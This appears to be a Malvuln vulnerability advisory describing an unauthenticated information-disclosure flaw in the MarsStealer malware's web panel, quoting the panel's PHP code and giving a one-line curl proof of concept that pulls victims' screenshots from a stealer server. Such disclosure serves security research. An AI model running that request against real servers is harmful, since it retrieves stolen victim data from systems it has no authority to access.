Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Win32.MarsStealer Web Panel
Vulnerability: Unauthenticated Remote Information Disclosure
Description: The malware web interface stores screen captures named "screenshot.jpg" in the panel directory, ZIP archived. Third-party attackers who can reach the Mars web server can download any screenshots as no valid session or authentication check is done.

view.php PHP code.

$z = new ZipArchive();
$file ='screenshot.jpg'; 
$path = $_GET["path"];
if ($z->open(realpath($path))) 
{
  $stat = $z->statName($file);
  $fp   = $z->getStream($file);  
  
  header('Content-Type: image/jpeg');  
  header('Content-Length: ' . $stat['size']); 
  fpassthru($fp); 
}
else
{
  echo "file not found";
}


Type: WebUI
MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe)
MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php)
Vuln ID: MVID-2022-0451
Disclosure: 01/15/2022

Exploit/PoC:
curl http://MARSSTEALER_SERVER/mars/panel/view.php?path=screenshot.zip --output screendump.jpg


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